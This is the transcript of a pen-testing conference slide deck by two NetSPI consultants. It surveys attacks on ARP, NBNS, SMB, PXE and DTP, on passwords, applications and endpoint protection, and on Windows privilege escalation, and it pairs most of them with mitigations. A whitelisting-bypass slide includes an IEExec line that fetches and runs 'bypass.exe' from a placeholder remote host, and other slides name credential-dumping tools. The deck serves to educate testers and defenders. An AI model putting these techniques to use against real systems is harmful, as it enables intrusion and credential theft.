Attack All The Layers - What's Working in Penetration Testing
-
Upload
netspi -
Category
Technology
-
view
471 -
download
3
Transcript of Attack All The Layers - What's Working in Penetration Testing
Attack All the Layers: What’s Working During Pen Tests
Scott Sutherland and Karl Fosaaen
Introductions
• Scott Sutherland
‒ Principal Security Consultant @ NetSPI
‒ Twitter: @_nullbind
• Karl Fosaaen
‒ Senior Security Consultant @ NetSPI
‒ Twitter: @kfosaaen
We specialize in boththings and stuff!
Overview
• Why do Companies Pen Test?
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
• Conclusions
Why do companies pen test?
• Compliance requirements
• Evaluate risks associated with an acquisition or partnership
• Validate preventative controls
• Validate detective controls
• Prioritize internal security initiatives
• Proactively prevent breaches
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
Attacking protocols
• ARP: Address Resolution Protocol
• NBNS: NetBIOS Name Service
• SMB: Server Message Block
• PXE: Preboot Execution Environment
• DTP: Dynamic Trunking Protocol
Attacking protocols: ARP
Address
Resolution
Protocol
Attacking protocols: ARP
• General
‒MAC to IP association
‒Layer 2• Conditions
‒ Independent of user action
‒Broadcast network• Attacks
‒MITM Monitoring
‒MITM Injection
‒DOS
Attacking protocols: ARP
Attacking protocols: ARP
• Common mitigating controls:
‒ Dynamic ARP Inspection
‒ Port Security
‒ Static Routes (not recommended)
Attacking protocols: NBNS / LLMNR
NetBIOS
Name
Service
Attacking protocols: NBNS
• General‒ IP to hostname association
‒ Layer 5 / 7
• Constraints‒ Dependent on user action
‒ Broadcast Network
‒ Windows Only
• Attacks‒ MITM Monitoring
‒ MITM Injection
‒ DOS
Attacking protocols: NBNS
Attacking protocols: NBNS
Attacking protocols: NBNS
Attacking protocols: NBNS
• Common mitigating controls:
‒ Create a WPAD (Web Proxy Auto-Discovery) server entry in DNS
‒ Disable NBNS (recommended)
• Might cause issues with legacy apps
‒ Disable insecure authentication to help
• limit impact of exposed hashes
‒ Enable packet signing to help prevent
• SMB Relay attacks
Attacking protocols: SMB
Server
Message
Block
Attacking protocols: SMB
• General‒ SMB is the come back kid!
‒ Layer 7
• Constraints‒ Dependent on user action
‒ Any routable network
‒ No connecting back to originating host
• Attacks‒ Command execution
‒ Shells..aaand shells
Attacking protocols: SMB
Attacking protocols: SMB
• Historically, SMB Relay has been used to:
‒ Execute arbitrary commands
‒ Obtain shells
• Lately the community has been developing tools for doing things like:
‒ LDAP queries
‒ SQL queries
‒ Exchange services
‒ Mounting file systems
Attacking protocols: SMB
• Common mitigating controls:
‒ Enable packet signing to help prevent SMB Relay attacks
‒ Apply really old patches like if you missed out on the last decade…
Attacking protocols: PXE
Preboot
eXecution
Environment
Attacking protocols: PXE
• General
‒ DHCP
• Constraints
‒ Broadcast domain
• Attacks
‒ Command execution
‒ Access to file system/images
Attacking protocols: PXE
• Common mitigating controls:
‒ Isolate networks
‒ Add device validation
Attacking protocols: DTP
Dynamic
Trunking
Protocol
Attacking protocols: DTP
• General‒ 802.1Q encapsulation is in use
‒ Layer 2
• Constraints‒ Independent of user action
‒ Trunking is set to enabled • or auto on switch port
• Attacks‒ Monitor network traffic for all VLANs, because all VLANs are
• allowed on a trunk by default
• *Full VLAN hopping
Attacking protocols: DTP
Attacking protocols: DTP
Attacking protocols: DTP
Attacking protocols: DTP
Attacking protocols: DTP
• Common mitigating controls:
‒ Use dedicated VLAN ID for all trunking ports
‒ Disable all unused ports and place them on a non-routable VLAN
‒ Configure all user ports as access ports to prevent trunk negotiation
‒ Configure frames with two 802.1Q headers
‒ Configure strong VACLs
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
Attacking passwords
• Hashes and Cracking (Offline)
• Dictionary Attacks (Online)
• Dump in Cleartext!
Attacking Passwords
Tool Function Year
Pass the Hash Passing Hashes 1997
Rainbow Tables Password Cracking 2000s
SMB Relay Relaying Captured Hashes 2001
John the Ripper Password Cracking 2001
NetNTLM.pl Cracking Network Hashes 2007
PTH Toolkit Pass all the Hashes 2008
Hashcat CPU and GPU Cracking 2010
WCE and Mimikatz Cleartext Windows Creds 2012
Attacking Passwords: Hashes
• What are hashes?
‒ A non-reversible way of storing passwords
‒ Operating systems and applications
‒ Lots of types
• LM/NTLM
• Network and Local
• MD5
• SHA
• descrypt
Attacking Passwords: Hashes
• How do we get hashes?
‒ Cain and Abel
‒ fgdump
‒ Metasploit
‒ Mimikatz
‒ Databases
‒ Config files
Attacking Passwords: Cracking
• Cracking Hashes
‒ Rainbow Tables
‒ John the Ripper
‒ oclHashcat
‒ CPU versus GPU
Attacking Passwords: Cracking
0
100
200
300
400
500
600
Minutes for Six Character Brute Force
CPU GPU
Attacking Passwords: CrackingG
PU
CP
U
Attacking Passwords: Passing Hashes
• Passing Hashes
‒ Metasploit
‒ psexec
‒ winexec
‒ PTH toolkit
Attacking Passwords: Dictionary
• Online Vs. Offline Attacks
• Dictionary Attacks
‒ Enumerate users
• Null SMB logins, RPC, *SID BF, SNMP, LDAP, SharePoint, etc.
‒ Attack!
• Are users getting smarter?
‒ Sort of…
• “Summer2014” meets password
• complexity requirements
Attacking Passwords: Cleartext
• Common application configs
• Reversible Formats
‒ Find in files
‒ Groups.xml
‒ Unattend.xml
‒ Registry
• WCE
• Mimikatz
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
Attacking Applications: Common
• Default and weak passwords
• SQL injection
• RFI/web shells
• Web directory traversals
• UNC path injection + SMB relay
• Critical missing patches
Attacking Applications: Breakouts
• Obtain a common dialog box
• Bypass folder path and file type restrictions
• Bypass file execution restrictions
• Bypass file black/white lists
• Access to native consoles and management tools
• Downloading and use third party applications
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
Bypassing EPP: Anti-virus
• PowerShell code Injection
• Execute off network share
• Clone resource tables
• Modify import tables
• Pack files
Bypassing EPP: App White List
• Execution via approved apps
‒ Powershell Code Injection
‒ Rundll32 mydll,DLLMain@12
‒ IEExec http://x.x.x.x:8080/bypass.exe
• Exceptions
‒ File name
‒ Publisher
‒ Directory
• Excessive privileges
‒ Services and policy
Overview
• Attacking Protocols
• Attacking Passwords
• Attacking Applications
• Bypassing End Point Protection
• Windows Escalation
Windows Escalation: Overview
• Privilege Escalation Goals
• Local Privilege Escalation
• Domain Privilege Escalation
Windows Escalation: Goals
• Local Escalation Goals
‒ Find clear text or reversible credentials with local administrative privileges
‒ Get application to run commands as Administrator or LocalSystem
• Domain Escalation Goals
‒ Find Domain Admins
‒ Impersonate Domain Admins
Windows Escalation: Local
• Local Escalation
‒ *Clear text credentials in files, registry, over network
‒ Insecure service paths
‒ DLL preloading
‒ DLL and exe replacement
‒ Binary planting in auto-run locations (reg and file system)
‒ Modifying schedule tasks
‒ *Local and remote exploits
‒ Leverage local application like IIS, SQL Server etc
‒ *UNC path injection + SMB Relay / Capture + crack
Windows Escalation: Domain
• Domain Escalation – Find DAs
‒ Check locally! (Processes, Tokens, Cachedump)
‒ Review active sessions – netsess (veil)
‒ Review remote processes - tasklist
‒ Service Principal Names (SPN) – get-spn
‒ Scanning Remote Systems for NetBIOS Information - nbtscan
‒ Pass the hash to other systems
‒ PowerShell shell spraying
‒ WINRM/WINRS shell spraying
‒ Psexec shell spraying
Windows Escalation: Domain
• Domain Escalation – Impersonate DAs
‒ Dump passwords from memory with Mimikatz
‒ Migrate into the Domain Admin’s process
‒ Steal Domain Admins delegation tokens with Incognito
‒ Dump cached domain admin hashes with cachedump
‒ Relatively new techniques
• PTH using Kerberos ticket
Conclusions
• Most Networks
‒ Kind of broken
• Most Protocols
‒ Kind of broken
• Most Applications
‒ Kind of broken
All can kind of be fixed
Attack all the layers!
• Any questions?
Attack all the layers!
• Scott Sutherland
‒ Principal Security Consultant
‒ Twitter: @_nullbind
• Karl Fosaaen
‒ Senior Security Consultant
‒ Twitter: @kfosaaen